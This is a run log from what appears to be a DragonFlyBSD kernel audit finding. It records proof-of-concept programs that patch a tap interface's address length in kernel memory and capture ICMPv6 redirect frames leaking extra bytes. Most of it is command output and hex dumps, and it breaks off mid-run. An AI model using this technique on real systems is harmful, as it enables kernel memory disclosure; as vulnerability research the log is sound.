DragonFlyBSD Kernel Audit
DF-2611 / run.log
← back to finding ↓ download raw
+ cd /root/poc
+ cc -O2 -Wall -o tap_rdr tap_rdr.c
+ cc -O2 -Wall -o kmem_addrlen kmem_addrlen.c
kmem_addrlen.c: In function 'symaddr':
kmem_addrlen.c:74:24: warning: format '%llx' expects argument of type 'long long unsigned int *', but argument 3 has type 'uint64_t *' {aka 'long unsigned int *'} [-Wformat=]
   n = sscanf(line, "%llx %*s %255s", &addr, sym);
                     ~~~^             ~~~~~
                     %lx
kmem_addrlen.c: In function 'main':
kmem_addrlen.c:98:18: warning: unused variable 'ifp' [-Wunused-variable]
  uint64_t arr_p, ifp, ifnet_arr_addr;
                  ^~~
CONTROL_addrlen6_start
+ echo CONTROL_addrlen6_start
+ ./tap_rdr trigger 5 nospray
net.inet6.ip6.dad_count: 0 -> 0
route: writing to routing socket: No such process
delete net 2001:db8:cafe::/64: not in table
add net 2001:db8:cafe::/64: gateway fe80::42:1%tap0
net.inet6.ip6.forwarding: 1 -> 1
tap0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 00:bd:d2:dc:02:00
	inet6 fe80::2bd:d2ff:fedc:200%tap0 prefixlen 64 scopeid 0x3
	inet6 2001:db8:1::1 prefixlen 64
2001:db8:1::1                   0:bd:d2:dc:2:0      tap0 permanent R      
2001:db8:1::2                   2:0:de:ad:be:ef     tap0 permanent R      
fe80::42:1%tap0                 2:0:0:0:0:1         tap0 permanent R      
fe80::2bd:d2ff:fedc:200%tap0    0:bd:d2:dc:2:0      tap0 permanent R      
2001:db8:1::/64                   link#3                        UC         tap0       
2001:db8:1::1                     00:bd:d2:dc:02:00             UHL         lo0       
2001:db8:1::2                     02:00:de:ad:be:ef             UHLS       tap0       
2001:db8:cafe::/64                fe80::42:1%tap0               UGSc       tap0       

--- fe80::42:1%tap0 ping6 statistics ---
1 packets transmitted, 0 packets received, 100.0% packet loss
tap0 mac 00:bd:d2:dc:02:00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff dc 02 00 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: d2 ff fe dc 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff dc 02 00 3a 00 01 00 05 02 00 00 83 00
    nr0040: a5 d0 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff dc 02 00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 3d 3c 7e fb 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: d2 ff fe dc 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 02 3d 3c 7e fb 3a 00 01 00 05 02 00 00 83 00
    nr0040: 31 19 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 02 3d 3c 7e fb
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff 00 00 01 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: d2 ff fe dc 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff 00 00 01 3a 00 01 00 05 02 00 00 83 00
    nr0040: ab 86 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff 00 00 01
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
iter 1: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
=== iter 1: REDIRECT captured, 158 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd d2 dc 02 00 86 dd 60 00
  0010: 00 00 00 68 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: d2 ff fe dc 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 73 8f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 01
  0060: 02 00 00 00 00 01 04 07 00 00 00 00 00 00 60 00
  0070: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
  0080: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
  0090: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
iter 1: ND_REDIRECT (hlen=40, ip6len=144, frame=158)
  option type=2 len=8 at 94
  TLLA bytes: 02 00 00 00 00 01
PADINFO iter 1 optlen 8
  option type=4 len=56 at 102
iter 2: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 2: REDIRECT captured, 158 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd d2 dc 02 00 86 dd 60 00
  0010: 00 00 00 68 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: d2 ff fe dc 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 73 8f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 01
  0060: 02 00 00 00 00 01 04 07 00 00 00 00 00 00 60 00
  0070: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
  0080: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
  0090: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
iter 2: ND_REDIRECT (hlen=40, ip6len=144, frame=158)
  option type=2 len=8 at 94
  TLLA bytes: 02 00 00 00 00 01
PADINFO iter 2 optlen 8
  option type=4 len=56 at 102
iter 3: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 3: REDIRECT captured, 158 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd d2 dc 02 00 86 dd 60 00
  0010: 00 00 00 68 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: d2 ff fe dc 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 73 8f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 01
  0060: 02 00 00 00 00 01 04 07 00 00 00 00 00 00 60 00
  0070: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
  0080: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
  0090: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
iter 3: ND_REDIRECT (hlen=40, ip6len=144, frame=158)
  option type=2 len=8 at 94
  TLLA bytes: 02 00 00 00 00 01
PADINFO iter 3 optlen 8
  option type=4 len=56 at 102
iter 4: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 4: REDIRECT captured, 158 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd d2 dc 02 00 86 dd 60 00
  0010: 00 00 00 68 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: d2 ff fe dc 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 73 8f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 01
  0060: 02 00 00 00 00 01 04 07 00 00 00 00 00 00 60 00
  0070: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
  0080: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
  0090: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
iter 4: ND_REDIRECT (hlen=40, ip6len=144, frame=158)
  option type=2 len=8 at 94
  TLLA bytes: 02 00 00 00 00 01
PADINFO iter 4 optlen 8
  option type=4 len=56 at 102
iter 5: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd d2 dc 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 5: REDIRECT captured, 158 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd d2 dc 02 00 86 dd 60 00
  0010: 00 00 00 68 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: d2 ff fe dc 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 73 8f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 01
  0060: 02 00 00 00 00 01 04 07 00 00 00 00 00 00 60 00
  0070: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
  0080: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
  0090: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
iter 5: ND_REDIRECT (hlen=40, ip6len=144, frame=158)
  option type=2 len=8 at 94
  TLLA bytes: 02 00 00 00 00 01
PADINFO iter 5 optlen 8
  option type=4 len=56 at 102
SUMMARY: iterations=5 redirects=5 none=0
PROBE_DONE
CONTROL_addrlen6_end
LEAK_addrlen8_spray_start
+ echo CONTROL_addrlen6_end
+ echo LEAK_addrlen8_spray_start
+ ./tap_rdr trigger 20 spray patch8
net.inet6.ip6.dad_count: 0 -> 0
route: writing to routing socket: No such process
delete net 2001:db8:cafe::/64: not in table
add net 2001:db8:cafe::/64: gateway fe80::42:1%tap0
net.inet6.ip6.forwarding: 1 -> 1
ifnet_array symbol @ 0xffffffff810f07c0
ifnet_array @ 0xfffff8008d5a0d80 count=3
ifnet[0] 0xfffff8008e0ea5c0 vtnet0   type=6(IFT_ETHER(6)) addrlen=6 mtu=1500
ifnet[1] 0xfffff8008e0ead40 lo0      type=24(IFT_LOOP(24)) addrlen=0 mtu=16384
ifnet[2] 0xfffff80117973280 tap0     type=6(IFT_ETHER(6)) addrlen=6 mtu=1500
WROTE tap0 if_addrlen=8 (readback)
tap0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 00:bd:88:e1:02:00
	inet6 fe80::2bd:88ff:fee1:200%tap0 prefixlen 64 scopeid 0x3
	inet6 2001:db8:1::1 prefixlen 64
2001:db8:1::1                   0:bd:88:e1:2:0      tap0 permanent R      
2001:db8:1::2                   2:0:de:ad:be:ef     tap0 permanent R      
fe80::42:1%tap0                 2:0:0:0:0:1         tap0 permanent R      
fe80::2bd:88ff:fee1:200%tap0    0:bd:88:e1:2:0      tap0 permanent R      
2001:db8:1::/64                   link#3                        UC         tap0       
2001:db8:1::1                     00:bd:88:e1:02:00             UHL         lo0       
2001:db8:1::2                     02:00:de:ad:be:ef             UHLS       tap0       
2001:db8:cafe::/64                fe80::42:1%tap0               UGSc       tap0       

--- fe80::42:1%tap0 ping6 statistics ---
1 packets transmitted, 0 packets received, 100.0% packet loss
tap0 mac 00:bd:88:e1:02:00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff e1 02 00 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 88 ff fe e1 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff e1 02 00 3a 00 01 00 05 02 00 00 83 00
    nr0040: ef c1 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff e1 02 00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 3d 3c 7e fb 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 88 ff fe e1 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 02 3d 3c 7e fb 3a 00 01 00 05 02 00 00 83 00
    nr0040: 7b 14 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 02 3d 3c 7e fb
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 88 ff fe e1 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff 00 00 01 3a 00 01 00 05 02 00 00 83 00
    nr0040: f5 81 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff 00 00 01
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
iter 1: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
=== iter 1: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a8 6c 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b1 b1 b1 b1 b1 b1 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 1: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b1 b1 b1 b1 b1 b1
PADINFO iter 1 optlen 16
  option type=4 len=56 at 110
iter 2: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 2: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a5 69 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b2 b2 b2 b2 b2 b2 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 2: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b2 b2 b2 b2 b2 b2
PADINFO iter 2 optlen 16
  option type=4 len=56 at 110
iter 3: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 3: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a2 66 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b3 b3 b3 b3 b3 b3 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 3: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b3 b3 b3 b3 b3 b3
PADINFO iter 3 optlen 16
  option type=4 len=56 at 110
iter 4: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 4: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 9f 63 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b4 b4 b4 b4 b4 b4 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 4: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b4 b4 b4 b4 b4 b4
PADINFO iter 4 optlen 16
  option type=4 len=56 at 110
iter 5: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 5: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 9c 60 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 5: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 5 optlen 16
  option type=4 len=56 at 110
iter 6: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 6: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 99 5d 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b6 b6 b6 b6 b6 b6 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 6: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b6 b6 b6 b6 b6 b6
PADINFO iter 6 optlen 16
  option type=4 len=56 at 110
iter 7: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 7: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 96 5a 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b7 b7 b7 b7 b7 b7 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 7: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b7 b7 b7 b7 b7 b7
PADINFO iter 7 optlen 16
  option type=4 len=56 at 110
iter 8: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 8: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 93 57 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b8 b8 b8 b8 b8 b8 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 8: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b8 b8 b8 b8 b8 b8
PADINFO iter 8 optlen 16
  option type=4 len=56 at 110
iter 9: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 9: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 90 54 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b9 b9 b9 b9 b9 b9 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 9: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b9 b9 b9 b9 b9 b9
PADINFO iter 9 optlen 16
  option type=4 len=56 at 110
iter 10: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 10: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 8d 51 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 ba ba ba ba ba ba 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 10: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 ba ba ba ba ba ba
PADINFO iter 10 optlen 16
  option type=4 len=56 at 110
iter 11: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 11: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 8a 4e 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 bb bb bb bb bb bb 04 07
